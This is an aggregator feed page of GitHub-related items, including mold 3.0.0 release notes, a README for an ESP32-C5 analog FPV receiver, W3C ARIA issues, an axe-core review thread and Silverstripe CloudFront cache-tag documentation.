Roastidio.us in webspace https://github.com/

Mathematical manuscripts and supporting proof artifacts produced by OpenAI

Tue, 06 Oct 2026 23:04:02 +0000

Article URL: https://github.com/openai/math

Comments URL: https://news.ycombinator.com/item?id=49984976

Points: 38

# Comments: 0

Pared - remove unwanted Apple Intelligence models without disabling SIP

Tue, 06 Oct 2026 22:42:59 +0000

Comments

AI is now capable of developing its own inference hardware

Tue, 06 Oct 2026 16:54:31 +0000

Article URL: https://github.com/FeSens/openTPU

Comments URL: https://news.ycombinator.com/item?id=49980715

Points: 30

# Comments: 5

Show HN: OpenChart – OSS TradingView alternative with your own AI agent

Tue, 06 Oct 2026 16:54:31 +0000

Hi HN, I'm Weilun, cofounder of OpenChart.

We built OpenChart because we wanted Claude and Codex to interface with the markets, like most of humans do, through charts rather than through CLIs.

With your existing AI plans, your agent can work directly with your charts: annotate a setup, write an indicator, investigate a market move, or create an alert. The chart, conversation, and research live in the same workspace.

OpenChart alerts on any market move: draw any shape on a chart and attach an alert. When price crosses it, the alert triggers your agent to investigate the move and save the research in your workspace. The agents can work with charts, indicators, and alerts. Custom indicators and alert conditions are written in [Tea](https://github.com/longsurf-ai/tea), a programming language we built for the markets.

We believe software shouldn’t impose artificial friction on your workflow. OpenChart is built on that belief with no software cap. The source code is publicly available, and you can use free market data from day one. We also offer optional paid cloud market data for lower latency.

Everything is private. Your charts, research, and indicator code are stored on your own computer, with the app's backend running locally too.

We currently support only macOS on Apple Silicon, but we're expanding to more platforms.

Website: https://openchart.co/

Download: https://downloads.longsurf.ai/openchart/darwin/arm64/OpenCha...

We built OpenChart because we want to explore how assets can be co-manages by agents and humans. I'd especially like to hear how you are using agents to help with your investment journey.

If you like what we're building, a star on GitHub would mean a lot to us: https://github.com/longsurf-ai/openchart

Comments URL: https://news.ycombinator.com/item?id=49979793

Points: 22

# Comments: 1

Montray - a tray icon for systemd service health

Tue, 06 Oct 2026 16:33:05 +0000

Comments

kahawai - an open source, modular media system

Tue, 06 Oct 2026 16:33:05 +0000

Comments

Photopea creator weighs in on Photosuite project

Tue, 06 Oct 2026 07:47:36 +0000

Article URL: https://github.com/eolix/photosuite/issues/77

Comments URL: https://news.ycombinator.com/item?id=49972730

Points: 109

# Comments: 66

Show HN: AI search for every photo and every frame of video on macOS

Tue, 06 Oct 2026 07:26:56 +0000

Article URL: https://github.com/allenv0/SCM

Comments URL: https://news.ycombinator.com/item?id=49952111

Points: 165

# Comments: 73

Release mold 3.0.0 · rui314/mold · GitHub

Mon, 05 Oct 2026 16:33:07 +0000

Fixed a crash when creating a statically-linked executable with a version script or --default-symver. (f10b0c4)
Fixed a crash or a corrupted output when the output file is also an input file, as in mold -r -o foo.o foo.o bar.o. (d2b88ab)
--gc-sections no longer removes the functions given by --init and --fini. (c9e4cc4)
Common symbols of the same name with different sizes now get the largest size and the strictest alignment, as in GNU ld and lld. (d5781d5)
--icf=safe no longer folds functions exported from a shared library, and --icf=all no longer crashes with --emit-relocs. (ceab12c, 3dcd1df)
A versioned reference such as foo@VER in a shared library no longer pulls in an archive member that defines an unversioned foo. (#1657) (44bfa2a)
Fixed several cases of nondeterministic output, in --dependency-file, --repro, -r with many COMDAT groups of the same name, and some dynamic relocations. (5164561, 6d33903, 51e23d4, 696ed71)
Fixed several -r bugs: C++ exceptions broke in code from the second and later input files; -x, -X and -s removed symbols that relocations referred to; --gc-sections dropped data that relocations referred to; sh_link of SHF_LINK_ORDER sections such as .ARM.exidx was not set; and mold crashed with --strip-debug and DWARF type units. (0e41bb9, 3717460, b2c3d1d, 9aacb62, a247ca2, e41ed90)
GOT-relative relocations such as R_X86_64_GOTOFF64, and R_ARM_REL32, against symbols defined in shared libraries silently got wrong addresses. They are now handled correctly or reported as errors. (#1668) (659780e, 7fe68bf)
Errors for PC-relative relocations that can't be used in position-independent output now explain the cause and how to fix it. (39e6a01, 17b7b85)
The following now cause errors instead of a broken output or a crash: --defsym aliasing a symbol defined in a shared library, an undefined non-weak hidden symbol in a shared library or with --unresolved-symbols=ignore-all, a --defsym value that doesn't fit in 64 bits, an allocated section that is also compressed, and --strip-all with --emit-relocs. (56b862b, b3566fa, e3a89f2, a980054, 8233a75)
--noinhibit-exec no longer crashes on references to symbols in discarded COMDAT groups. (8f17166, 80baa5d)
Options starting with a single dash are now read as GNU ld reads them. For example, -entry=main was read as -e ntry=main. (#1671, #1670) (830a860)
--dynamic-list-data, --lto-pseudo-probe-for-profiling and --thinlto-index-only no longer consume the next argument, and --no-color-diagnostics is now accepted. (2ca893e, 04b493e)
If a version script lists a symbol in more than one version node, the first one now takes precedence, as in GNU ld and lld. (b7048f5)
Fixed relative paths with -C, --chroot and --repro. (e3bc349, 04e7dd8, a368d22)
mold no longer reserves 8 GiB of virtual address space at startup, so it works under ulimit -v. (cc69390, b18be91)
MOLD_JOBS now works if XDG_RUNTIME_DIR is an empty string. (8a360ff)
Files created by --separate-debug-file no longer contain a .gnu_debuglink section. (#1656) (b56649e)
mold no longer creates the meaningless __start_EHDR, __stop_EHDR, __start_PHDR and __stop_PHDR symbols. (0ee71d3)
[AArch64][PPC32][ARM32] Fixed calls to static functions in other sections through range extension thunks, which jumped to wrong addresses in large programs such as the ARM64 debug build of Chromium. (4165d0e, 9b91621)
[AArch64] Added support for more relocation types, such as R_AARCH64_TSTBR14 and R_AARCH64_GOT_LD_PREL19. (96d0282, a4b64d8)
[ARM32] Added support for more relocation types, such as R_ARM_ALU_PC_G0 and R_ARM_THM_PC12, and fixed -r output for big-endian ARM. (c0f9cd6, 4c9aad3, 4c26f16)
[ARM32][i386] -r no longer corrupts instructions referred to by some branch and TLS relocations. (1b17bdf)
[RISC-V][LoongArch] Fixed calls to functions folded by --icf=all when relaxation shrinks them, and R_RISCV_64 and R_LARCH_64 relocations in 32-bit objects. (52febe9, 5b22233)
[RISC-V] Fixed TLSDESC with object files created by Clang 18, --emit-relocs with TLSDESC relaxation, the EF_RISCV_TSO flag, R_RISCV_ALIGN in -r output, and overflow checks for 32-bit PC-relative relocations. (fdf8422, 7c8b805, 6b60f75, 4ba7792, 85d55f3)
[LoongArch] Added support for TLSDESC in the extreme code model, and fixed wrong values of *64_PC_HI12 relocations and spurious overflow errors for TLS relocations. (a36a161, 8133938, 13e6cc0)
[PPC32][m68k] A GOT too large for the 16-bit offsets that -fpic code uses is now reported as an error instead of being silently truncated. (acc8854, 614e2a0)
[PPC64] Fixed IFUNC calls in statically-linked executables and @got references in hand-written assembly, and mold now synthesizes the _savegpr0_* family of functions for PPC64V1 as well. (d3b2a74, b34a308, efda2fc)
[SH4] Fixed a crash when calling a function that returns a structure through the PLT, and C++ exceptions in programs linked from -r output. (d9cf1f0, 92161dd)
[SPARC64] Fixed branch instructions using R_SPARC_WDISP16, and R_SPARC_OLO10 in -r output. (6df3fd2, 269fbb9)

ncdu: NCurses Disk Usage (an updated fork)

Mon, 05 Oct 2026 00:38:44 +0000

Comments

Turn off Apple Intelligence on macOS 27 and get its disk space back

Mon, 05 Oct 2026 00:28:14 +0000

Article URL: https://github.com/omlahore/RemoveMacAI

Comments URL: https://news.ycombinator.com/item?id=49957116

Points: 292

# Comments: 176

Run Qwen 3.8 Flash Next (125B) on consumer hardware (RTX 4090) at 100T/s

Sun, 04 Oct 2026 16:56:57 +0000

Article URL: https://github.com/Niko1221/Strata

Comments URL: https://news.ycombinator.com/item?id=49953495

Points: 265

# Comments: 134

GitHub - Twotoz/C5VRX: Ultra-minimal, zero-CPU 5.8 GHz analog FPV video receiver using ESP32-C5 Wi-Fi 6 PHY MODEM_DIAG, BitScrambler WBFM demodulation & resi...

Sat, 03 Oct 2026 01:12:57 +0000

Current firmware

The main build defaults to the live adjacent Phase8 demodulator and Direct Gain V5 (Direct Gain V4 below plus a 200 us observer and anti-hunt damping), the default and recommended gain controller. Phase8 maps the full signed adjacent phase delta (-128 through +127) to the 6-bit DAC. A transition across the +/-180 degree phase boundary can still alias.

Direct Gain V4 is the Direct Gain V3 core (centered Q4 amplitude and Phase8 coherence, physical RF/BB/Fine tuples, zero-write hold while healthy) with two changes: it acts on the first 1 ms window that leaves the healthy band and jumps straight to the predicted gain (about 1-2 ms instead of tens to hundreds of ms), and without a carrier it listens at the gain table's maximum instead of parking at G62, so weak carriers at the range edge are found.

Native hardware AGC remains selectable (RF page, hold BOOT 2 s through the profile cycle, or serial N; applied with a reboot) but is not the default. Measurements on PR #122 (native-agc-v2.md) show the ESP32-C5 packet AGC re-acquiring on a continuous carrier every ~21 us, one to two times per video line, landing on a different gain each time (Q4 radius 41-266 codes for a static VTX). That is the source of the thin black/rainbow lines and the grain seen with native AGC; finer IQ lanes, register tuning and paced (timer-gated) native tracking did not remove it. A firmware controller that holds one gain is the better fit for continuous analog FM.

Bench status: Direct Gain V4 gave a clean picture and very fast response on the XIAO ESP32-C5 with the VTX static and moving. Range-edge recovery, near-VTX overload and long sessions still need dedicated tests.

Demodulator and gain notes

Direct Gain V3 design describes the Q4 observer, gain model, settle logic, and known hardware tuning limits that Direct Gain V4 builds on.
Native AGC findings (PR #122): per-sample AGC state from the RF dump, the ~21 us re-acquisition cycle, register sweep, DAC self-noise, level-offset and paced-native trials, and why none became the default. Paced native AGC and the pre-native noise audit complete it.
Direct Gain V3 measurement oracle documents the guarded USB measurements and their interpretation.
Range and demod quality records the measurement model and validation limits for CVBS sync and demod quality.
Range v2, range notes, and trajectory v2 are research references; their experimental ideas are not all part of the default live path.
Pre-Q4 lab documents explicit RF/DAC noise checks and vendor gain-table characterization. Those lab actions are not run as part of normal video reception.

Web Flasher (Zero-Install Browser Flashing)

Flash your Seeed Studio XIAO ESP32-C5 directly from your browser (Google Chrome, Microsoft Edge, Brave, Opera) with zero installation required:

Open the C5VRX Web Flasher

The production web flasher is hosted entirely by GitHub Pages at twotoz.github.io/C5VRX. There is no VPS, application server, or separate production web host in the current deployment.

Automatic Latest Firmware: Automatically selects the newest immutable semantic-version release.
One-Click Flashing: Flashes the universal merged production image (bootloader + partitions + app at 0x0) over Web Serial. Firmware is mirrored into the GitHub Pages artifact and fetched same-origin, so browser CORS redirects are not part of the production flash path.
Selectable Releases: The Releases tab contains only semantic-version releases such as v3.0.0, v3.0.1, and newer.
Separate PR Builds Tab: Same-repository pull requests publish a temporary pr-<number> GitHub prerelease. Experimental builds appear only under PR Builds, never in the normal Releases list, and require an explicit warning confirmation before flashing.
Offline / Local Execution: You can also run the web flasher locally:
```
python tools/open_webflasher.py
```
(Starts a local HTTP server at http://localhost:8080/web/index.html and opens your browser.)

Automatic releases and versioning

Every push or merged PR to main builds the production firmware and publishes a new immutable GitHub release with a semantic version tag.

BREAKING CHANGE or a conventional-commit ! creates a major bump.
feat: / feat(scope): creates a minor bump.
fix:, chore:, docs:, and other changes create a patch bump.
If no stable release exists yet, the current v3.0.0-rc1 line is promoted to v3.0.0.
The resolved version is written to version.txt before the ESP-IDF build, so the firmware metadata and GitHub release use the same version.
Release assets remain attached to their immutable version tag; the old mutable main release/tag is retired automatically after the first versioned release succeeds.

Website deployment

Firmware releases and website deployment are intentionally separate:

.github/workflows/build.yml validates and builds firmware, then publishes a versioned release after a successful push to main. For same-repository PRs it also maintains a clearly marked temporary prerelease (pr-<number>) and removes it when the PR closes.
.github/workflows/deploy-web.yml is the only production website deployment. It always checks out trusted main, then packages the web flasher plus a generated firmware mirror into one GitHub Pages artifact.
tools/prepare_pages_site.sh mirrors the newest semantic firmware releases and all active pr-<number> prereleases under firmware/<tag>/, and generates firmware/releases.json.
The browser reads that Pages manifest and downloads binaries from the same twotoz.github.io origin. This avoids GitHub Release storage CORS redirects entirely.
Successful Production CI triggers a Pages mirror refresh, so newly published/updated PR builds and releases become available without deploying unmerged PR web code.
When a PR closes or merges, CI deletes its temporary prerelease/tag; the next successful cleanup-triggered Pages refresh removes it from the mirror.

Community

Questions, build photos, feedback, or development discussion? Join the C5VRX Discord.

What is C5VRX?

C5VRX-3 turns the Seeed Studio XIAO ESP32-C5 (ESP32-C5 RISC-V SoC) into a standalone 5.8 GHz analog video (FPV) receiver.

It captures raw Wi-Fi PHY I/Q samples from the 5 GHz RF front-end at 40 MS/s, demodulates wideband FM in the ESP32-C5 BitScrambler, and outputs analog CVBS through PARLIO TX and a 6-bit passive resistor DAC ladder. The video-standard detector supports PAL and NTSC timing.

5.8 GHz Analog FPV (48 Channels)
        │
        ▼
ESP32-C5 RF / MODEM_DIAG Bus (40 MS/s Q4/I4)
        │
        ▼
PARLIO RX @ 40 MS/s (POS sample edge, pure continuous hardware GDMA)
        │
        ▼
Circular GDMA Ring (32 KiB in HP SRAM, Zero-EOF patched)
        │
        ▼
Phase8 adjacent-demod BitScrambler (fm_phase8_hr_live.bsasm: full signed delta, 20 MS/s [D,D])
        │
        ▼
PARLIO TX @ 40 MHz ([D,D] mode -> 20 MS/s unique CVBS output)
        │
        ▼
6-bit Resistor DAC Ladder + 470 pF Filter -> 75-ohm Goggles

The continuous pixel path runs in AHB GDMA, BitScrambler, and PARLIO TX. A background CPU task observes completed IQ buffers and controls receiver settings; it does not move individual video pixels.

Key Innovations & Architectural Highlights

1. The Breakthrough: Zero-EOF Circular GDMA

The Problem: In continuous loop mode, the stock ESP-IDF PARLIO TX driver injected a GDMA EOF (suc_eof = 1) on every cyclic ring wrap (confirmed in espressif/esp-idf#19091). This triggered periodic hardware stalls, causing a 1-second vertical sync drop and jagged horizontal line jitter ("kartels").
The Solution: C5VRX-3 patches dw0.suc_eof = 0 across the descriptor ring in SRAM after driver initialization, paired with 64-byte aligned cache synchronization (sync_dma_c2m).
The Result: Removing the cyclic EOF markers eliminated the observed wrap seams, periodic vertical drops and horizontal jitter in the tested live pipeline. This addresses transport boundaries; RF noise and demodulation artifacts remain separate quality limits.

Public report and Espressif confirmation: Leon Beekveldt (Twotoz) reported the continuous-stream problem in espressif/esp-idf#19091 on 16 September 2026, with a live-hardware A/B comparison. On 17 September, Espressif's maintainer confirmed: “Your analysis is correct.” and supplied a driver patch. The maintainer explained that BitScrambler interprets cyclic suc_eof as a real stream boundary: a steady-state loop should have no EOF, while buffer switching still needs a one-time EOF notification.

This records C5VRX's concrete contribution to a continuous ESP32-C5 RF → IQ → hardware WBFM → CVBS pipeline. The issue concerns PARLIO/GDMA/BitScrambler stream continuity, not finite adctrig capture or proof that every RF acquisition path is gapless. The earlier autonomous RF-writer and live NTSC milestones are recorded separately in continuous IQ hardware findings.

2. Direct Gain V5 default gain controller

V5 = V4 plus a 200 us observer cadence (timer-driven, each completed RX descriptor measured at most once) and anti-hunt damping: two direction reversals of consecutive writes within 20 ms make out-of-band decisions need 8 windows (~1.6 ms) for 200 ms. Saturation is never damped.
Range lanes: once the analog gain is at the table maximum and the envelope is still starved, V5 switches the MODEM_DIAG taps to finer ADC bit sets: fine {9,7,6,5} (+6 dB) and ultrafine {9,6,5,4} (+12 dB). Inside their window these are an exact 2x/4x rescale of the coarse nibble (same angle, same Phase8 LUT, no calibration), and the analog gain trims between the 6 dB steps, so total gain is continuous. Without a carrier it listens on ultrafine. Rail codes or incoherent wide junk on a finer lane (the pre-fold warning / a folded strong carrier) return to coarse at once, and lanes are always the first gain removed.
The fast observer measures centered Q4 P50/P90/P95, phase coherence, clipping, and origin occupancy from completed RX buffers.
V4 is the sole automatic gain writer in the default profile. It chooses physical RF/BB/Fine gain tuples and verifies each write after its measured settle time.
Direct: the first window with P50 below 13 or above 32 triggers the full predicted correction in one step; saturation takes an immediate emergency drop.
Healthy measurements (P50 13-32) produce a zero-write hold, so a steady carrier gets no gain writes.
Without a carrier it listens at the table maximum rather than the G62 survival gain, so a quantizer-starved weak carrier is not mistaken for no carrier.
Native hardware AGC is an opt-in alternative (see above).

3. Default RF settings

The default Direct Gain V4 profile uses BW40 and AFC off. This keeps gain as the changing RF control during normal operation.
Other receiver profiles and lab modes remain selectable over the serial console. Some experimental profiles can use automatic bandwidth or AFC while acquiring a carrier.

4. Phase8 adjacent demodulator

fm_phase8_hr_live.bsasm uses adjacent I/Q samples at 20 MS/s and maps the full signed phase-delta range (-128 through +127 bins) across the 64 DAC levels.
The mapping preserves direction across the signed range. A phase step that crosses the +/-180 degree representation boundary remains ambiguous and can alias.
Phase8 is selected by default in the current build and was viewed live with Direct Gain V4.

Known limits

A signed adjacent-phase estimate cannot distinguish an actual step beyond 180 degrees from its wrapped equivalent.
The hardware observation documented above covers a working live picture at the tested VTX and receiver setup. It does not establish performance at all distances, channels, antenna orientations, or gain transitions.

Hardware Pinout (Seeed Studio XIAO ESP32-C5)

Connect a 6-bit binary-weighted resistor DAC ladder to the XIAO pins, meeting at the VIDEO node:

Output network and controls

Video level: The reference circuit uses a 200 ohm shunt at VIDEO; the connected display or goggles may add their own 75 ohm termination. Check the resulting level with the load you use.
Output filter: The reference circuit uses a 470 pF ceramic capacitor from VIDEO to GND. Check image sharpness with your display and termination.
BOOT button: A short click switches channel. A long press opens the menu when enabled; short clicks move through menu choices and a long press applies one. On the CHANNEL page, a long press scans the available channels and selects the strongest coherent carrier. If Safe Flight mode blocks the menu, hold BOOT for three seconds to restore the default Phase8/6BIT@40/Direct Gain profile and open the recovery menu.
Persistent settings: Channel, RF bandwidth, AFC, video-standard/output, AGC/gain, and the BOOT-menu preference are saved and restored after restart.

Interactive Serial Console Hotkeys

Connecting to the USB serial console (115200 baud) provides live telemetry and single-key controls:

Key	Action
`c` / `C`	Cycle FPV channel / band (48 standard channels: RaceBand, Boscam A/B/E, FatShark, LowBand)
`+` / `-`	Manual RF gain step (±2 index)
`a` / `s` / `m`	Switch AGC mode: Active (auto-adapting) / Shadow (dry-run) / Manual (fixed)
`f`	Cycle AFC Mode: Auto Centering (±1.5 MHz) / Hold / Off (0 kHz)
`,` / `.`	Fine-tune carrier frequency offset in ±50 kHz steps
`0`	Reset frequency offset to 0 kHz
`e`	Toggle RX sample clock edge (POS / NEG)
`d`	Print the live diagnostics summary and available console commands
`R`	Run the guarded RSSI and centered-Q4 measurement probe
`D` / `I` / `Y`	Select Direct Gain V4 / Direct Gain V1 / ARC V3 profiles
`N`	Toggle native hardware AGC (opt-in) / Direct Gain V4 and reboot
`E`	Print one P8ENV row (Q4 envelope, native AGC state, transport)
`Q` / `T`	Raw Q4/I4 dump (4 x 64 consecutive samples) / read-only AGC register dump

Build & Flash Guide

Prerequisites

Option A (Docker - Recommended): Docker Desktop or Docker engine installed.
Option B (Native ESP-IDF): ESP-IDF v6.0.x installed with Python 3.10+.

Step 1: Build the Firmware

Option A: Build via Docker (Zero-Install Toolchain)

No ESP-IDF installation required on your host machine. Run from the repository root:

Linux / macOS / Git Bash:

docker run --rm -v "${PWD}:/workspace" -w /workspace espressif/idf:v6.0.2 idf.py build

Windows PowerShell:

Option B: Build with Native ESP-IDF v6.0+

If you have ESP-IDF installed locally:

Linux / macOS:

. $IDF_PATH/export.sh
idf.py build

Windows (ESP-IDF PowerShell Environment):

export.ps1
idf.py build

The build produces three critical binaries in build/:

build/bootloader/bootloader.bin (at flash offset 0x2000)
build/partition_table/partition-table.bin (at flash offset 0x8000)
build/c5vrx3.bin (at flash offset 0x10000)

Step 2: Validate the firmware sources

CI runs the architectural validator and host demodulation checks. To run the repository validator locally:

python tools/validate_build.py

(All architectural checks must pass.)

Step 3: Flash to ESP32-C5

Option A: Web Flasher (Zero-Install In-Browser Flasher)

Launch the web flasher directly in your browser (Google Chrome, Microsoft Edge, Brave): Open C5VRX Web Flasher on GitHub Pages

Option B: Zero-Friction Auto-Flash (Python Watcher)

Run the auto-flash watcher:

python tools/auto_flash.py

Plug in or reset your Seeed Studio XIAO ESP32-C5 into download mode (hold BOOT while tapping RESET), and the watcher will detect the COM port, flash the firmware, and automatically trigger a watchdog reset into the application!

Option C: Direct Flash Script

Specify your COM port (or omit to auto-detect):

python tools/flash.py COM10

Option D: Native ESP-IDF Flasher

idf.py -p COM10 flash

Step 4: Interactive Serial Monitor & Diagnostics

Launch the dedicated low-latency serial monitor:

python tools/monitor.py COM10

Use the interactive hotkeys (c to cycle channels, +/- for manual gain, a for active AGC, d for hardware diagnostics).

Repository Structure

C5VRX/
+-- main/
|   +-- video.c, video.h             # Video pipeline, gain controller, menu, console
|   +-- fm_phase8_hr_live.bsasm      # Default live Phase8 demodulator
|   +-- direct_gain_v3.c, .h         # Default automatic gain controller
|   +-- phase8_gain_lut.h            # Generated Phase8 coherence/gain lookup
|   +-- rf.c, rf.h                   # ESP32-C5 RF and PHY controls
+-- assets/                          # Project branding
+-- docs/                            # Design notes and hardware measurements
+-- tools/                           # Build checks, generators, and flash utilities
+-- web/                             # Browser Web Serial flasher
+-- sdkconfig.defaults               # ESP-IDF defaults
+-- partitions.csv                   # Flash partition table

License

C5VRX is open-source software licensed under the GNU General Public License v3.0 only (GPL-3.0-only).

See LICENSE for full licensing terms. The C5VRX name and logos have separate terms; see assets/BRANDING.md.

"accessibility descendant" in presentational role inheritance and other concerns · Issue #2832 · w3c/aria · GitHub

Sat, 03 Oct 2026 01:12:01 +0000

"accessibility descendant" in presentational role inheritance and other concerns #2832

Copy link

Open

"accessibility descendant" in presentational role inheritance and other concerns#2832

Copy link

Assignees

Labels

F2FCandidateCandidate topics for F2F (or Virtual F2F) meetingCandidate topics for F2F (or Virtual F2F) meetingclarificationclarifying or correcting language that is either confusing, misleading or under-specifiedclarifying or correcting language that is either confusing, misleading or under-specified

Description

pkra

opened on Jun 29, 2026

Issue body actions

From https://w3c.github.io/aria/#presentational-role-inheritance

When an explicit or inherited role of none/presentation is applied to an element with the implicit semantic of a WAI-ARIA role that has Allowed Accessibility Child Roles, in addition to the element with the explicit role of none/presentation, the user agent MUST apply an inherited role of none to any accessibility descendants that do not have an explicit role defined.

The "accessibility descendants" phrasing was introduced in bb6baf1#diff-0eb547304658805aad788d320f10bf1f292797b5e6d745a3bf617584da017051R506

I think here we mean not just child (instead of descendant) but specifically "host-language-required child element without explicit role". (This requirement would still work recursively, e.g. for table markup.)

(Via dequelabs/axe-core#5171 (comment))

Reactions are currently unavailable

Activity

Metadata

Assignees

pkra

Labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions

You can’t perform that action at this time.

html-in-canvas feedback · Issue #2758 · w3c/aria · GitHub

Sat, 03 Oct 2026 01:12:00 +0000

html-in-canvas feedback #2758

Copy link

Open

html-in-canvas feedback#2758

Copy link

Description

progers

opened on Mar 27, 2026

Issue body actions

html-in-canvas is a new proposal for customizing the rendering of html content using canvas. The high-level design is to allow children of <canvas> to be drawn into the canvas while ensuring that the DOM position is kept in-sync with the drawn position. A goal of this approach is for browser features like accessibility to "just work" by default.

Here is a minimal example of html-in-canvas:

<canvas id="canvas" style="width: 200px; height: 200px;" layoutsubtree>
  <form id="form_element">
    <label for="name">name:</label>
    <input id="name">
  </form>
</canvas>

<script>
  const ctx = document.getElementById('canvas').getContext('2d');

  canvas.onpaint = () => {
    ctx.reset();
    let transform = ctx.drawElementImage(form_element, 100, 0);
    // Synchronize the DOM position to match the drawn position.
    form_element.style.transform = transform.toString();
  };
</script>

This would produce the following result:

Please see our explainer for more information. We would appreciate any feedback you have about this, such as any potential issues with how this interacts with Assistive Technologies.

Reactions are currently unavailable

Activity

Metadata

Assignees

No one assigned

Labels

No labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions

You can’t perform that action at this time.

Editorial: In favor of "owned element" and "owning element", uses "ac… · w3c/aria@bb6baf1 · GitHub

Sat, 03 Oct 2026 01:12:00 +0000

Commit bb6baf1

Browse filesBrowse the repository at this point in the historyBrowse files

authored

Editorial: In favor of "owned element" and "owning element", uses "accessibility parent", "accessibility child" and "accessibility descendant" (#2010)

Closes #1150 As discussed in the F2F, "owned" elements refers to either descendant or the direct accessibility child. Also, using "owned" in this way is confusing, because it is not exactly the same as "aria-owns". Co-authored-by: giacomo-petri <106394951+giacomo-petri@users.noreply.github.com> Co-authored-by: Peter Krautzberger <p.krautzberger@gmail.com> Co-authored-by: James Craig <cookiecrook@users.noreply.github.com>

1 parent 0486a98 commit bb6baf1Copy full SHA for bb6baf1

1 file changed

+64-74Lines changed: 64 additions & 74 deletions

File tree

Expand file treeCollapse file tree

Open diff view settings

Filter options

index.html

Expand file treeCollapse file tree

Open diff view settings

0 commit comments

Comments

0 (0)

You can’t perform that action at this time.

feat(commons/aria): support ARIA element internals properties by straker · Pull Request #5171 · dequelabs/axe-core · GitHub

Sat, 03 Oct 2026 01:11:59 +0000

WilcoFiers Jun 18, 2026

Copy link Copy Markdown

Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's another interesting scenario here we didn't talk about:

Suggested change


	});

	it('handles presentation role inheritance on an ElementInternal role', () => {
	fixture.innerHTML =
	'<ul role="none"><testutils-element with-role="listitem" id="target"></testutils-element></ul>';
	flatTreeSetup(fixture);
	const node = fixture.querySelector('#target');
	assert.equal(aria.getRole(node), 'presentation');
	});

	it('does not set presentation role when ElementInternals isn\'t an allowed child', () => {
	fixture.innerHTML =
	'<ul role="none"><testutils-element with-role="button" id="target"></testutils-element></ul>';
	flatTreeSetup(fixture);
	const node = fixture.querySelector('#target');
	assert.equal(aria.getRole(node), 'button');
	});

I'm not actually sure this is how it works in practice. But role=none on ul SHOULD set its child listitems to presentational as well. We should test this I think, and maybe raise a case for in WPT if they don't already have one.

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions

chutchins25 Jun 18, 2026 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.

Copy link Copy Markdown

Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Tried to verify the actual behavior:
getRole returns listitem (and button stays button).
Presentational inheritance is keyed off the HTML tag name (li, td, …) in inheritsPresentationChain, not the computed role, so a testutils-element never matches.

Added two tests documenting this current behavior. Re-keying inheritance off computed role is a broader change (also affects <div role="listitem"> etc.) and a genuine spec/WPT question, so I've split it into a follow-up: #5181.

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions

chutchins25 Jun 29, 2026

Copy link Copy Markdown

Contributor

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verified actual browser behavior for this exact case. Both Chrome and Firefox leave the custom element as listitem — neither applies presentational inheritance to an internal role (Chrome strips a native <li> to none, Firefox to generic, but both keep the custom element as listitem). So the current tests document the behavior that matches browsers.

This is the same spec-ahead-of-browsers gap as #5162 (internal-role conflict resolution — Chrome/Firefox/Safari/WPT bugs already filed there), so I've folded the follow-up into #5162 and closed #5181 rather than tracking it separately. Let me know if you're good with matching browsers here.

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions

pkra Jun 29, 2026 •

edited

Loading

Uh oh!

There was an error while loading. Please reload this page.

Copy link Copy Markdown

There was a problem hiding this comment.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@WilcoFiers

But role=none on ul SHOULD set its child listitems to presentational as well.

I think ARIA only requires inheritance for (host-language-)required child elements that do not have explicit roles. (Though I spotted some odd phrasing that seems to have been introduced accidentally - I've filed w3c/aria#2832 to clarify.)

(Then again ul > test-element is invalid HTML and its repair is not specified anywhere, I think.)

Sorry, something went wrong.

Uh oh!

There was an error while loading. Please reload this page.

All reactions

web-features and Baseline - We're feature complete! What's next? (W3C Breakouts Day)

Tue, 29 Sep 2026 20:27:46 +0000

The WebDX Community Group has done a lot of work in 2024 to increase the coverage of its web-features data. Now that the data roughly covers the entire web platform feature set, let's review the work done so far, the use cases that web-features, and Baseline, have unlocked, and let's open it up for discussion on the next important questions to tackle.
Slides

silverstripe-purge-cloudfront/docs/tags.md at 3ef30fcdfdf7ff152832483f3ddbfae3a35a6e4b · blueo/silverstripe-purge-cloudfront · GitHub

Sun, 27 Sep 2026 01:38:42 +0000

Tags, and why this provider refuses them

Blueo\Purge\Service\PurgeCapability::PurgeTags is declared false by this provider. purgeTags() throws UnsupportedOperationException.

What CloudFront offers

CloudFront can invalidate by cache tag. It works like this:

The distribution carries a CacheTagConfig naming an HTTP header, for example x-amz-meta-cache-tag.
Every origin response that should carry tags includes that header, with the tags comma separated. CloudFront stores up to 50 tags for each object.
CreateInvalidation is called with a path that starts with #, for example #news. Every cached object that carries the tag is invalidated, whatever its path.

Tag paths and URL paths can be mixed in one request. A tag counts as one path against the free monthly allowance of 1,000, the same as /*.

Why this provider does not declare the capability

Three of the three preconditions live outside the site:

CacheTagConfig is set on the distribution. The site cannot read it without cloudfront:GetDistributionConfig, which the task role does not have.
The origin must send a cache tag header on every response to be tagged. A Silverstripe site does not send one, and adding one is a decision about the response headers of every page.
The tags must mean something. A tag is only useful if the site decided what it tags with, and that is site design and not module behaviour.

And the failure mode is the one this design exists to prevent. CloudFront accepts #news on a distribution with no CacheTagConfig. It returns an invalidation id and a status. Nothing is removed, because nothing was ever tagged. A provider that declared the capability would hand back a successful PurgeResult with an invalidation id, and the site would record a purge that did not happen.

A capability is a claim about what the code does. CacheTagConfig is a fact about a distribution. Declaring one as the other is how a site ends up believing it purged.

What to do instead

Purge the URLs. Where a site knows which pages carry a term, collect them and purge by URL. Replace Blueo\Purge\Service\UrlCollector and return the pages a change affects. This is exact, and it costs one path for each page.

Purge a prefix. Where a section shares a path, pass a wildcard as a URL:

PurgeService::singleton()->purgeUrls(['/news/*']);

One path against the allowance, whatever it removes. The * is a wildcard for CloudFront only as the last character of the path, and CloudFront allows 1 wildcard invalidation per second.

Purge everything. After a deployment that changed a template, /* is one path and removes everything.

If you want tag invalidation

It is a subclass and a config block, not a change to this module:

Add CacheTagConfig to the distribution, naming a header.
